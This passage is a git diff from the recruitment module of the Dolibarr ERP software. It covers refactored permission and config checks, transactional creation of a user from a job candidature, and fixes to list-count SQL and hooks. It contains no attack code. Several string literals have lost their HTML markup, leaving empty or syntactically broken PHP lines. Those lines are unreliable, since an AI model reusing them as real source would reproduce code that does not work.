$conf->recruitment->dir_temp, 'ZIP_PROXY' => 'PclZipProxy', // PhpZipProxy or PclZipProxy. Got "bad compression method" error when using PhpZipProxy. 'DELIMITER_LEFT' => '{', 'DELIMITER_RIGHT' => '}' @@ -477,9 +478,7 @@ class doc_generic_recruitmentjobposition_odt extends ModelePDFRecruitmentJobPosi $parameters = array('odfHandler'=>&$odfHandler, 'file'=>$file, 'object'=>$object, 'outputlangs'=>$outputlangs, 'substitutionarray'=>&$tmparray); $reshook = $hookmanager->executeHooks('afterODTCreation', $parameters, $this, $action); // Note that $action and $object may have been modified by some hooks - if (!empty($conf->global->MAIN_UMASK)) { - @chmod($file, octdec($conf->global->MAIN_UMASK)); - } + dolChmod($file); $odfHandler = null; // Destroy object diff --git a/htdocs/recruitment/core/modules/recruitment/doc/pdf_standard_recruitmentjobposition.modules.php b/htdocs/recruitment/core/modules/recruitment/doc/pdf_standard_recruitmentjobposition.modules.php index 199513993f2..1c066112f45 100644 --- a/htdocs/recruitment/core/modules/recruitment/doc/pdf_standard_recruitmentjobposition.modules.php +++ b/htdocs/recruitment/core/modules/recruitment/doc/pdf_standard_recruitmentjobposition.modules.php @@ -175,6 +175,7 @@ class pdf_standard_recruitmentjobposition extends ModelePDFRecruitmentJobPositio { // phpcs:enable global $user, $langs, $conf, $mysoc, $db, $hookmanager, $nblines; + global $action; dol_syslog("write_file outputlangs->defaultlang=".(is_object($outputlangs) ? $outputlangs->defaultlang : 'null')); @@ -234,7 +235,7 @@ class pdf_standard_recruitmentjobposition extends ModelePDFRecruitmentJobPositio foreach ($objphoto->liste_photos($dir, 1) as $key => $obj) { - if (empty($conf->global->CAT_HIGH_QUALITY_IMAGES)) // If CAT_HIGH_QUALITY_IMAGES not defined, we use thumb if defined and then original photo + if (!getDolGlobalInt('CAT_HIGH_QUALITY_IMAGES')) // If CAT_HIGH_QUALITY_IMAGES not defined, we use thumb if defined and then original photo { if ($obj['photo_vignette']) { @@ -281,13 +282,8 @@ class pdf_standard_recruitmentjobposition extends ModelePDFRecruitmentJobPositio if (file_exists($dir)) { // Add pdfgeneration hook - if (!is_object($hookmanager)) { - include_once DOL_DOCUMENT_ROOT.'/core/class/hookmanager.class.php'; - $hookmanager = new HookManager($this->db); - } $hookmanager->initHooks(array('pdfgeneration')); $parameters = array('file'=>$file, 'object'=>$object, 'outputlangs'=>$outputlangs); - global $action; $reshook = $hookmanager->executeHooks('beforePDFCreation', $parameters, $object, $action); // Note that $action and $object may have been modified by some hooks // Set nblines with the new facture lines content after hook @@ -710,13 +706,11 @@ class pdf_standard_recruitmentjobposition extends ModelePDFRecruitmentJobPositio $this->errors = $hookmanager->errors; } - if (!empty($conf->global->MAIN_UMASK)) { - @chmod($file, octdec($conf->global->MAIN_UMASK)); - } + dolChmod($file); - $this->result = array('fullpath'=>$file); + $this->result = array('fullpath'=>$file); - return 1; // No error + return 1; // No error } else { $this->error = $langs->transnoentities("ErrorCanNotCreateDir", $dir); return 0; @@ -798,12 +792,12 @@ class pdf_standard_recruitmentjobposition extends ModelePDFRecruitmentJobPositio /** * Show top header of page. * - * @param Tcpdf $pdf Object PDF + * @param TCPDF $pdf Object PDF * @param Object $object Object to show * @param int $showaddress 0=no, 1=yes * @param Translate $outputlangs Object lang for output * @param Translate $outputlangsbis Object lang for output bis - * @return void + * @return float|int */ protected function _pagehead(&$pdf, $object, $showaddress, $outputlangs, $outputlangsbis = null) { @@ -832,13 +826,13 @@ class pdf_standard_recruitmentjobposition extends ModelePDFRecruitmentJobPositio $pdf->SetXY($this->marge_gauche, $posy); // Logo - if (empty($conf->global->PDF_DISABLE_MYCOMPANY_LOGO)) { + if (!getDolGlobalInt('PDF_DISABLE_MYCOMPANY_LOGO')) { if ($this->emetteur->logo) { $logodir = $conf->mycompany->dir_output; if (!empty($conf->mycompany->multidir_output[$object->entity])) { $logodir = $conf->mycompany->multidir_output[$object->entity]; } - if (empty($conf->global->MAIN_PDF_USE_LARGE_LOGO)) { + if (!getDolGlobalInt('MAIN_PDF_USE_LARGE_LOGO')) { $logo = $logodir.'/logos/thumbs/'.$this->emetteur->logo_small; } else { $logo = $logodir.'/logos/'.$this->emetteur->logo; diff --git a/htdocs/recruitment/core/modules/recruitment/mod_recruitmentcandidature_advanced.php b/htdocs/recruitment/core/modules/recruitment/mod_recruitmentcandidature_advanced.php index 9635eba3e58..415ac3357eb 100644 --- a/htdocs/recruitment/core/modules/recruitment/mod_recruitmentcandidature_advanced.php +++ b/htdocs/recruitment/core/modules/recruitment/mod_recruitmentcandidature_advanced.php @@ -54,7 +54,7 @@ class mod_recruitmentcandidature_advanced extends ModeleNumRefRecruitmentCandida /** * Returns the description of the numbering model * - * @return string Texte descripif + * @return string Descriptive text */ public function info() { @@ -69,7 +69,7 @@ class mod_recruitmentcandidature_advanced extends ModeleNumRefRecruitmentCandida $texte .= ''; $texte .= ''; $texte .= ''; - $texte .= ''; + $texte .= '
      '; $tooltip = $langs->trans("GenericMaskCodes", $langs->transnoentities("RecruitmentCandidature"), $langs->transnoentities("RecruitmentCandidature")); $tooltip .= $langs->trans("GenericMaskCodes2"); diff --git a/htdocs/recruitment/core/modules/recruitment/mod_recruitmentjobposition_advanced.php b/htdocs/recruitment/core/modules/recruitment/mod_recruitmentjobposition_advanced.php index 4f781a18214..be565486c3a 100644 --- a/htdocs/recruitment/core/modules/recruitment/mod_recruitmentjobposition_advanced.php +++ b/htdocs/recruitment/core/modules/recruitment/mod_recruitmentjobposition_advanced.php @@ -54,7 +54,7 @@ class mod_recruitmentjobposition_advanced extends ModeleNumRefRecruitmentJobPosi /** * Returns the description of the numbering model * - * @return string Texte descripif + * @return string Descriptive text */ public function info() { @@ -69,7 +69,7 @@ class mod_recruitmentjobposition_advanced extends ModeleNumRefRecruitmentJobPosi $texte .= ''; $texte .= ''; $texte .= ''; - $texte .= '
      '; + $texte .= '
      '; $tooltip = $langs->trans("GenericMaskCodes", $langs->transnoentities("RecruitmentJobPosition"), $langs->transnoentities("RecruitmentJobPosition")); $tooltip .= $langs->trans("GenericMaskCodes2"); diff --git a/htdocs/recruitment/core/modules/recruitment/modules_recruitmentcandidature.php b/htdocs/recruitment/core/modules/recruitment/modules_recruitmentcandidature.php index 089aa720fa7..362e890c6ef 100644 --- a/htdocs/recruitment/core/modules/recruitment/modules_recruitmentcandidature.php +++ b/htdocs/recruitment/core/modules/recruitment/modules_recruitmentcandidature.php @@ -86,7 +86,7 @@ abstract class ModeleNumRefRecruitmentCandidature /** * Returns the default description of the numbering template * - * @return string Texte descripif + * @return string Descriptive text */ public function info() { diff --git a/htdocs/recruitment/core/modules/recruitment/modules_recruitmentjobposition.php b/htdocs/recruitment/core/modules/recruitment/modules_recruitmentjobposition.php index 9efabac2d37..aaf8bed6c53 100644 --- a/htdocs/recruitment/core/modules/recruitment/modules_recruitmentjobposition.php +++ b/htdocs/recruitment/core/modules/recruitment/modules_recruitmentjobposition.php @@ -122,7 +122,7 @@ abstract class ModeleNumRefRecruitmentJobPosition /** * Returns the default description of the numbering template * - * @return string Texte descripif + * @return string Descriptive text */ public function info() { diff --git a/htdocs/recruitment/lib/recruitment.lib.php b/htdocs/recruitment/lib/recruitment.lib.php index acc7160f282..911c6abdb03 100644 --- a/htdocs/recruitment/lib/recruitment.lib.php +++ b/htdocs/recruitment/lib/recruitment.lib.php @@ -1,5 +1,6 @@ +/* Copyright (C) 2019 Laurent Destailleur + * Copyright (C) 2022 Frédéric France * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by @@ -28,7 +29,11 @@ */ function recruitmentAdminPrepareHead() { - global $langs, $conf; + global $langs, $conf, $db; + + $extrafields = new ExtraFields($db); + $extrafields->fetch_name_optionals_label('recruitment_recruitmentjobposition'); + $extrafields->fetch_name_optionals_label('recruitment_recruitmentcandidature'); $langs->load("recruitment"); @@ -52,11 +57,19 @@ function recruitmentAdminPrepareHead() $head[$h][0] = dol_buildpath("/recruitment/admin/jobposition_extrafields.php", 1); $head[$h][1] = $langs->trans("ExtrafieldsJobPosition"); + $nbExtrafields = $extrafields->attributes['recruitment_recruitmentjobposition']['count']; + if ($nbExtrafields > 0) { + $head[$h][1] .= ''.$nbExtrafields.''; + } $head[$h][2] = 'jobposition_extrafields'; $h++; $head[$h][0] = dol_buildpath("/recruitment/admin/candidature_extrafields.php", 1); $head[$h][1] = $langs->trans("ExtrafieldsApplication"); + $nbExtrafields = $extrafields->attributes['recruitment_recruitmentcandidature']['count']; + if ($nbExtrafields > 0) { + $head[$h][1] .= ''.$nbExtrafields.''; + } $head[$h][2] = 'candidature_extrafields'; $h++; diff --git a/htdocs/recruitment/recruitmentcandidature_agenda.php b/htdocs/recruitment/recruitmentcandidature_agenda.php index 04118f55572..19e64bc9a09 100644 --- a/htdocs/recruitment/recruitmentcandidature_agenda.php +++ b/htdocs/recruitment/recruitmentcandidature_agenda.php @@ -41,6 +41,7 @@ $action = GETPOST('action', 'aZ09'); $cancel = GETPOST('cancel', 'aZ09'); $backtopage = GETPOST('backtopage', 'alpha'); $socid = GETPOST('socid', 'int'); +$contextpage = GETPOST('contextpage', 'aZ') ? GETPOST('contextpage', 'aZ') : str_replace('_', '', basename(dirname(__FILE__)).basename(__FILE__, '.php')); // To manage different context of search if (GETPOST('actioncode', 'array')) { $actioncode = GETPOST('actioncode', 'array', 3); @@ -48,8 +49,9 @@ if (GETPOST('actioncode', 'array')) { $actioncode = '0'; } } else { - $actioncode = GETPOST("actioncode", "alpha", 3) ?GETPOST("actioncode", "alpha", 3) : (GETPOST("actioncode") == '0' ? '0' : (empty($conf->global->AGENDA_DEFAULT_FILTER_TYPE_FOR_OBJECT) ? '' : $conf->global->AGENDA_DEFAULT_FILTER_TYPE_FOR_OBJECT)); + $actioncode = GETPOST("actioncode", "alpha", 3) ?GETPOST("actioncode", "alpha", 3) : (GETPOST("actioncode") == '0' ? '0' : getDolGlobalString('AGENDA_DEFAULT_FILTER_TYPE_FOR_OBJECT')); } +$search_rowid = GETPOST('search_rowid'); $search_agenda_label = GETPOST('search_agenda_label'); $limit = GETPOST('limit', 'int') ?GETPOST('limit', 'int') : $conf->liste_limit; @@ -127,7 +129,7 @@ $form = new Form($db); if ($object->id > 0) { $title = $object->ref." - ".$langs->trans('Agenda'); //if (!empty($conf->global->MAIN_HTML_TITLE) && preg_match('/thirdpartynameonly/',$conf->global->MAIN_HTML_TITLE) && $object->name) $title=$object->name." - ".$title; - $help_url = 'Module_Agenda_En'; + $help_url = 'Module_Agenda_En|DE:Modul_Terminplanung'; llxHeader('', $title, $help_url); if (isModEnabled('notification')) { @@ -143,6 +145,7 @@ if ($object->id > 0) { $linkback = ''.$langs->trans("BackToList").''; $morehtmlref = '
      '; + $morehtmlref.= $object->getFullName('', 1); /* // Ref customer $morehtmlref.=$form->editfieldkey("RefCustomer", 'ref_client', $object->ref_client, $object, 0, 'string', '', 0, 1); @@ -169,7 +172,7 @@ if ($object->id > 0) { $morehtmlref .= ''; $morehtmlref .= ''; } else { - $morehtmlref .= $form->form_project($_SERVER['PHP_SELF'] . '?id=' . $object->id, $object->socid, $object->fk_project, 'none', 0, 0, 0, 1); + $morehtmlref .= $form->form_project($_SERVER['PHP_SELF'] . '?id=' . $object->id, $object->socid, $object->fk_project, 'none', 0, 0, 0, 1, '', 'maxwidth300'); } } else { if (!empty($object->fk_project)) { @@ -211,7 +214,7 @@ if ($object->id > 0) { $out .= '&socid='.$objthirdparty->id; } $backtopageurl = urlencode($_SERVER['PHP_SELF'].'?id='.$objthirdparty->id); - $out .= (!empty($objcon->id) ? '&contactid='.$objcon->id : '').'&backtopage='.$backtopageurl.'&percentage=-1'; + $out .= (!empty($objcon->id) ? '&contactid='.$objcon->id : '').'&backtopage='.$backtopageurl; //$out.=$langs->trans("AddAnAction").' '; //$out.=img_picto($langs->trans("AddAnAction"),'filenew'); //$out.=""; @@ -221,7 +224,7 @@ if ($object->id > 0) { print '
      '; if (isModEnabled('agenda')) { - if (!empty($user->rights->agenda->myactions->create) || !empty($user->rights->agenda->allactions->create)) { + if (!empty($user->rights->agenda->myactions->create) || $user->hasRight('agenda', 'allactions', 'create')) { print ''.$langs->trans("AddAction").''; } else { print ''.$langs->trans("AddAction").''; @@ -245,6 +248,7 @@ if ($object->id > 0) { // List of all actions $filters = array(); $filters['search_agenda_label'] = $search_agenda_label; + $filters['search_rowid'] = $search_rowid; // TODO Replace this with same code than into list.php show_actions_done($conf, $langs, $db, $object, null, 0, $actioncode, '', $filters, $sortfield, $sortorder, 'recruitment'); diff --git a/htdocs/recruitment/recruitmentcandidature_card.php b/htdocs/recruitment/recruitmentcandidature_card.php index 2452c9e530b..80558b67e49 100644 --- a/htdocs/recruitment/recruitmentcandidature_card.php +++ b/htdocs/recruitment/recruitmentcandidature_card.php @@ -202,38 +202,46 @@ if (empty($reshook)) { // Create user from a member if ($action == 'confirm_create_user' && $confirm == 'yes' && $user->rights->user->user->creer) { - if ($result > 0) { - $jobposition = new RecruitmentJobPosition($db); - $jobposition->fetch($object->fk_recruitmentjobposition); + $jobposition = new RecruitmentJobPosition($db); + $jobposition->fetch($object->fk_recruitmentjobposition); - // Creation user - $nuser = new User($db); - $nuser->login = GETPOST('login', 'alphanohtml'); - $nuser->fk_soc = 0; - $nuser->employee = 1; - $nuser->firstname = $object->firstname; - $nuser->lastname = $object->lastname; - $nuser->email = ''; - $nuser->personal_email = $object->email; - $nuser->personal_mobile = $object->phone; - $nuser->birth = $object->date_birth; - $nuser->salary = $object->remuneration_proposed; - $nuser->fk_user = $jobposition->fk_user_supervisor; // Supervisor - $nuser->email = $object->email; + $db->begin(); - $result = $nuser->create($user); + // Creation user + $nuser = new User($db); + $nuser->login = GETPOST('login', 'alphanohtml'); + $nuser->fk_soc = 0; + $nuser->employee = 1; + $nuser->firstname = $object->firstname; + $nuser->lastname = $object->lastname; + $nuser->email = ''; + $nuser->personal_email = $object->email; + $nuser->personal_mobile = $object->phone; + $nuser->birth = $object->date_birth; + $nuser->salary = $object->remuneration_proposed; + $nuser->fk_user = $jobposition->fk_user_supervisor; // Supervisor + $nuser->email = $object->email; - if ($result < 0) { - $langs->load("errors"); - setEventMessages($langs->trans($nuser->error), null, 'errors'); - $action = 'create_user'; - } else { - setEventMessages($langs->trans("NewUserCreated", $nuser->login), null, 'mesgs'); - $action = ''; - } - } else { - setEventMessages($object->error, $object->errors, 'errors'); + $result = $nuser->create($user); + + if ($result < 0) { + $error++; + $langs->load("errors"); + setEventMessages($langs->trans($nuser->error), null, 'errors'); $action = 'create_user'; + } else { + $object->fk_user = $result; + + $object->update($user); + } + + if (!$error) { + $db->commit(); + + setEventMessages($langs->trans("NewUserCreated", $nuser->login), null, 'mesgs'); + $action = ''; + } else { + $db->rollback(); } } @@ -426,6 +434,7 @@ if ($object->id > 0 && (empty($action) || ($action != 'edit' && $action != 'crea $linkback = ''.$langs->trans("BackToList").''; $morehtmlref = '
      '; + $morehtmlref.= $object->getFullName('', 1); /* // Ref customer $morehtmlref.=$form->editfieldkey("RefCustomer", 'ref_client', $object->ref_client, $object, 0, 'string', '', 0, 1); @@ -442,7 +451,7 @@ if ($object->id > 0 && (empty($action) || ($action != 'edit' && $action != 'crea //if ($action != 'classify') $morehtmlref.='' . img_edit($langs->transnoentitiesnoconv('SetProject')) . ' '; $morehtmlref .= ' : '; if ($action == 'classify') { - //$morehtmlref .= $form->form_project($_SERVER['PHP_SELF'] . '?id=' . $object->id, $object->socid, $object->fk_project, 'projectid', 0, 0, 1, 1); + //$morehtmlref .= $form->form_project($_SERVER['PHP_SELF'] . '?id=' . $object->id, $object->socid, $object->fk_project, 'projectid', 0, 0, 0, 1, '', 'maxwidth300'); $morehtmlref .= '
      '; $morehtmlref .= ''; $morehtmlref .= ''; @@ -450,7 +459,7 @@ if ($object->id > 0 && (empty($action) || ($action != 'edit' && $action != 'crea $morehtmlref .= ''; $morehtmlref .= ''; } else { - $morehtmlref.=$form->form_project($_SERVER['PHP_SELF'] . '?id=' . $object->id, $object->socid, $object->fk_project, 'none', 0, 0, 0, 1); + $morehtmlref.=$form->form_project($_SERVER['PHP_SELF'] . '?id=' . $object->id, $object->socid, $object->fk_project, 'none', 0, 0, 0, 1, '', 'maxwidth300'); } } else { if (!empty($object->fk_project)) { @@ -464,7 +473,7 @@ if ($object->id > 0 && (empty($action) || ($action != 'edit' && $action != 'crea }*/ // Author if (!empty($object->email_msgid)) { - $morehtmlref .= $langs->trans("CreatedBy").' : '; + $morehtmlref .= '
      '.$langs->trans("CreatedBy").' '; if ($object->fk_user_creat > 0) { $fuser = new User($db); @@ -571,8 +580,7 @@ if ($object->id > 0 && (empty($action) || ($action != 'edit' && $action != 'crea // Button to convert into a user if ($object->status == $object::STATUS_CONTRACT_SIGNED) { if ($user->rights->user->user->creer) { - // TODO Check if a user already exists - $useralreadyexists = 0; + $useralreadyexists = $object->fk_user; if (empty($useralreadyexists)) { print ''; } else { diff --git a/htdocs/recruitment/recruitmentcandidature_document.php b/htdocs/recruitment/recruitmentcandidature_document.php index 3f08c770111..8b4b7fbdcd2 100644 --- a/htdocs/recruitment/recruitmentcandidature_document.php +++ b/htdocs/recruitment/recruitmentcandidature_document.php @@ -121,6 +121,7 @@ if ($object->id) { $linkback = ''.$langs->trans("BackToList").''; $morehtmlref = '
      '; + $morehtmlref.= $object->getFullName('', 1); /* // Ref customer $morehtmlref.=$form->editfieldkey("RefCustomer", 'ref_client', $object->ref_client, $object, 0, 'string', '', 0, 1); @@ -147,7 +148,7 @@ if ($object->id) { $morehtmlref .= ''; $morehtmlref .= ''; } else { - $morehtmlref .= $form->form_project($_SERVER['PHP_SELF'] . '?id=' . $object->id, $object->socid, $object->fk_project, 'none', 0, 0, 0, 1); + $morehtmlref .= $form->form_project($_SERVER['PHP_SELF'] . '?id=' . $object->id, $object->socid, $object->fk_project, 'none', 0, 0, 0, 1, '', 'maxwidth300'); } } else { if (!empty($object->fk_project)) { diff --git a/htdocs/recruitment/recruitmentcandidature_list.php b/htdocs/recruitment/recruitmentcandidature_list.php index 9b860ac54d5..ce30277a82e 100644 --- a/htdocs/recruitment/recruitmentcandidature_list.php +++ b/htdocs/recruitment/recruitmentcandidature_list.php @@ -66,7 +66,7 @@ $pagenext = $page + 1; $object = new RecruitmentCandidature($db); $extrafields = new ExtraFields($db); $diroutputmassaction = $conf->recruitment->dir_output.'/temp/massgeneration/'.$user->id; -$hookmanager->initHooks(array('recruitmentcandidaturelist')); // Note that conf->hooks_modules contains array +$hookmanager->initHooks(array($contextpage)); // Note that conf->hooks_modules contains array of activated contexes // Fetch optionals attributes and labels $extrafields->fetch_name_optionals_label($object->table_element); @@ -102,6 +102,13 @@ foreach ($object->fields as $key => $val) { $fieldstosearchall['t.'.$key] = $val['label']; } } +/*$parameters = array('fieldstosearchall'=>$fieldstosearchall); +$reshook = $hookmanager->executeHooks('completeFieldsToSearchAll', $parameters, $object, $action); // Note that $action and $object may have been modified by some hooks +if ($reshook > 0) { + $fieldstosearchall = $hookmanager->resArray['fieldstosearchall']; +} elseif ($reshook == 0) { + $fieldstosearchall = array_merge($fieldstosearchall, $hookmanager->resArray['fieldstosearchall']); +}*/ // Definition of array of fields for columns $arrayfields = array(); @@ -224,8 +231,11 @@ if (!empty($extrafields->attributes[$object->table_element]['label'])) { // Add fields from hooks $parameters = array(); $reshook = $hookmanager->executeHooks('printFieldListSelect', $parameters, $object); // Note that $action and $object may have been modified by hook -$sql .= preg_replace('/^,/', '', $hookmanager->resPrint); +$sql .= $hookmanager->resPrint; $sql = preg_replace('/,\s*$/', '', $sql); + +$sqlfields = $sql; // $sql fields to remove for count total + $sql .= " FROM ".MAIN_DB_PREFIX.$object->table_element." as t"; if (isset($extrafields->attributes[$object->table_element]['label']) && is_array($extrafields->attributes[$object->table_element]['label']) && count($extrafields->attributes[$object->table_element]['label'])) { $sql .= " LEFT JOIN ".MAIN_DB_PREFIX.$object->table_element."_extrafields as ef on (t.rowid = ef.fk_object)"; @@ -279,7 +289,7 @@ if (!empty($id)) { include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_search_sql.tpl.php'; // Add where from hooks $parameters = array(); -$reshook = $hookmanager->executeHooks('printFieldListWhere', $parameters, $object); // Note that $action and $object may have been modified by hook +$reshook = $hookmanager->executeHooks('printFieldListWhere', $parameters, $object, $action); // Note that $action and $object may have been modified by hook $sql .= $hookmanager->resPrint; /* If a group by is required @@ -304,7 +314,8 @@ $sql = preg_replace('/,\s*$/', '', $sql); $nbtotalofrecords = ''; if (empty($conf->global->MAIN_DISABLE_FULL_SCANLIST)) { /* The fast and low memory method to get and count full list converts the sql into a sql count */ - $sqlforcount = preg_replace('/^SELECT[a-zA-Z0-9\._\s\(\),=<>\:\-\']+\sFROM/Ui', 'SELECT COUNT(*) as nbtotalofrecords FROM', $sql); + $sqlforcount = preg_replace('/^'.preg_quote($sqlfields, '/').'/', 'SELECT COUNT(*) as nbtotalofrecords', $sql); + $sqlforcount = preg_replace('/GROUP BY .*$/', '', $sqlforcount); $resql = $db->query($sqlforcount); if ($resql) { $objforcount = $db->fetch_object($resql); @@ -313,7 +324,7 @@ if (empty($conf->global->MAIN_DISABLE_FULL_SCANLIST)) { dol_print_error($db); } - if (($page * $limit) > $nbtotalofrecords) { // if total of record found is smaller than page * limit, goto and load page 0 + if (($page * $limit) > $nbtotalofrecords) { // if total resultset is smaller than the paging size (filtering), goto and load page 0 $page = 0; $offset = 0; } @@ -438,7 +449,7 @@ if ($jobposition->id > 0 && (empty($action) || ($action != 'edit' && $action != $morehtmlref .= ''; $morehtmlref .= ''; } else { - $morehtmlref .= $form->form_project($_SERVER['PHP_SELF'].'?id='.$object->id, !empty($object->socid) ? $object->socid : 0, $object->fk_project, 'none', 0, 0, 0, 1); + $morehtmlref .= $form->form_project($_SERVER['PHP_SELF'].'?id='.$object->id, !empty($object->socid) ? $object->socid : 0, $object->fk_project, 'none', 0, 0, 0, 1, '', 'maxwidth300'); } } else { if (!empty($object->fk_project)) { @@ -500,7 +511,7 @@ if ($limit > 0 && $limit != $conf->liste_limit) { $param .= '&limit='.urlencode($limit); } foreach ($search as $key => $val) { - if (is_array($search[$key]) && count($search[$key])) { + if (is_array($search[$key])) { foreach ($search[$key] as $skey) { if ($skey != '') { $param .= '&search_'.$key.'[]='.urlencode($skey); @@ -571,7 +582,7 @@ if ($search_all) { $fieldstosearchall[$key] = $langs->trans($val); $setupstring .= $key."=".$val.";"; } - print ''."\n"; + print ''."\n"; print '
      '.$langs->trans("FilterOnInto", $search_all).join(', ', $fieldstosearchall).'
      '."\n"; } @@ -581,7 +592,7 @@ $moreforfilter.= $langs->trans('MyFilter') . ': '; +print '
      '; // Action column -if (!empty($conf->global->MAIN_CHECKBOX_LEFT_COLUMN)) { - print ''; @@ -621,13 +632,13 @@ foreach ($object->fields as $key => $val) { $cssforfield .= ($cssforfield ? ' ' : '').'center'; } elseif (in_array($val['type'], array('timestamp'))) { $cssforfield .= ($cssforfield ? ' ' : '').'nowrap'; - } elseif (in_array($val['type'], array('double(24,8)', 'double(6,3)', 'integer', 'real', 'price')) && $val['label'] != 'TechnicalID' && empty($val['arrayofkeyval'])) { + } elseif (in_array($val['type'], array('double(24,8)', 'double(6,3)', 'integer', 'real', 'price')) && $key != 'rowid' && $val['label'] != 'TechnicalID' && empty($val['arrayofkeyval'])) { $cssforfield .= ($cssforfield ? ' ' : '').'right'; } if (!empty($arrayfields['t.'.$key]['checked'])) { - print ''; @@ -669,8 +680,9 @@ $totalarray['nbfield'] = 0; // Fields title label // -------------------------------------------------------------------- print ''; -if (!empty($conf->global->MAIN_CHECKBOX_LEFT_COLUMN)) { +if (getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { print getTitleFieldOfList(($mode != 'kanban' ? $selectedfields : ''), 0, $_SERVER["PHP_SELF"], '', '', '', '', $sortfield, $sortorder, 'center maxwidthsearch ')."\n"; + $totalarray['nbfield']++; } foreach ($object->fields as $key => $val) { $cssforfield = (empty($val['csslist']) ? (empty($val['css']) ? '' : $val['css']) : $val['csslist']); @@ -680,12 +692,12 @@ foreach ($object->fields as $key => $val) { $cssforfield .= ($cssforfield ? ' ' : '').'center'; } elseif (in_array($val['type'], array('timestamp'))) { $cssforfield .= ($cssforfield ? ' ' : '').'nowrap'; - } elseif (in_array($val['type'], array('double(24,8)', 'double(6,3)', 'integer', 'real', 'price')) && $val['label'] != 'TechnicalID' && empty($val['arrayofkeyval'])) { + } elseif (in_array($val['type'], array('double(24,8)', 'double(6,3)', 'integer', 'real', 'price')) && $key != 'rowid' && $val['label'] != 'TechnicalID' && empty($val['arrayofkeyval'])) { $cssforfield .= ($cssforfield ? ' ' : '').'right'; } $cssforfield = preg_replace('/small\s*/', '', $cssforfield); // the 'small' css must not be used for the title label if (!empty($arrayfields['t.'.$key]['checked'])) { - print getTitleFieldOfList($arrayfields['t.'.$key]['label'], 0, $_SERVER['PHP_SELF'], 't.'.$key, '', $param, ($cssforfield ? 'class="'.$cssforfield.'"' : ''), $sortfield, $sortorder, ($cssforfield ? $cssforfield.' ' : ''))."\n"; + print getTitleFieldOfList($arrayfields['t.'.$key]['label'], 0, $_SERVER['PHP_SELF'], 't.'.$key, '', $param, ($cssforfield ? 'class="'.$cssforfield.'"' : ''), $sortfield, $sortorder, ($cssforfield ? $cssforfield.' ' : ''), 0, (empty($val['helplist']) ? '' : $val['helplist']))."\n"; $totalarray['nbfield']++; } } @@ -693,13 +705,13 @@ foreach ($object->fields as $key => $val) { include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_search_title.tpl.php'; // Hook fields $parameters = array('arrayfields'=>$arrayfields, 'param'=>$param, 'sortfield'=>$sortfield, 'sortorder'=>$sortorder, 'totalarray'=>&$totalarray); -$reshook = $hookmanager->executeHooks('printFieldListTitle', $parameters, $object); // Note that $action and $object may have been modified by hook +$reshook = $hookmanager->executeHooks('printFieldListTitle', $parameters, $object, $action); // Note that $action and $object may have been modified by hook print $hookmanager->resPrint; // Action column -if (empty($conf->global->MAIN_CHECKBOX_LEFT_COLUMN)) { +if (!getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { print getTitleFieldOfList(($mode != 'kanban' ? $selectedfields : ''), 0, $_SERVER["PHP_SELF"], '', '', '', '', $sortfield, $sortorder, 'center maxwidthsearch ')."\n"; + $totalarray['nbfield']++; } -$totalarray['nbfield']++; print ''."\n"; @@ -707,7 +719,7 @@ print ''."\n"; $needToFetchEachLine = 0; if (isset($extrafields->attributes[$object->table_element]['computed']) && is_array($extrafields->attributes[$object->table_element]['computed']) && count($extrafields->attributes[$object->table_element]['computed']) > 0) { foreach ($extrafields->attributes[$object->table_element]['computed'] as $key => $val) { - if (preg_match('/\$object/', $val)) { + if ($val && preg_match('/\$object/', $val)) { $needToFetchEachLine++; // There is at least one compute field that use $object } } @@ -733,7 +745,14 @@ while ($i < $imaxinloop) { if ($mode == 'kanban') { if ($i == 0) { print ''; // Action column - if (!empty($conf->global->MAIN_CHECKBOX_LEFT_COLUMN)) { + if (getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { print ''; + if (!$i) { + $totalarray['nbfield']++; + } } foreach ($object->fields as $key => $val) { $cssforfield = (empty($val['csslist']) ? (empty($val['css']) ? '' : $val['css']) : $val['csslist']); @@ -777,8 +799,8 @@ while ($i < $imaxinloop) { //if (in_array($key, array('fk_soc', 'fk_user', 'fk_warehouse'))) $cssforfield = 'tdoverflowmax100'; if (!empty($arrayfields['t.'.$key]['checked'])) { - print '$key)) { print ' title="'.dol_escape_htmltag($object->$key).'"'; } print '>'; @@ -811,10 +833,10 @@ while ($i < $imaxinloop) { include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_print_fields.tpl.php'; // Fields from hook $parameters = array('arrayfields'=>$arrayfields, 'object'=>$object, 'obj'=>$obj, 'i'=>$i, 'totalarray'=>&$totalarray); - $reshook = $hookmanager->executeHooks('printFieldListValue', $parameters, $object); // Note that $action and $object may have been modified by hook + $reshook = $hookmanager->executeHooks('printFieldListValue', $parameters, $object, $action); // Note that $action and $object may have been modified by hook print $hookmanager->resPrint; // Action column - if (empty($conf->global->MAIN_CHECKBOX_LEFT_COLUMN)) { + if (!getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { print ''; - } - if (!$i) { - $totalarray['nbfield']++; + if (!$i) { + $totalarray['nbfield']++; + } } print ''."\n"; diff --git a/htdocs/recruitment/recruitmentcandidature_note.php b/htdocs/recruitment/recruitmentcandidature_note.php index 1649ab5ee5e..b26d4310688 100644 --- a/htdocs/recruitment/recruitmentcandidature_note.php +++ b/htdocs/recruitment/recruitmentcandidature_note.php @@ -96,6 +96,7 @@ if ($id > 0 || !empty($ref)) { $linkback = ''.$langs->trans("BackToList").''; $morehtmlref = '
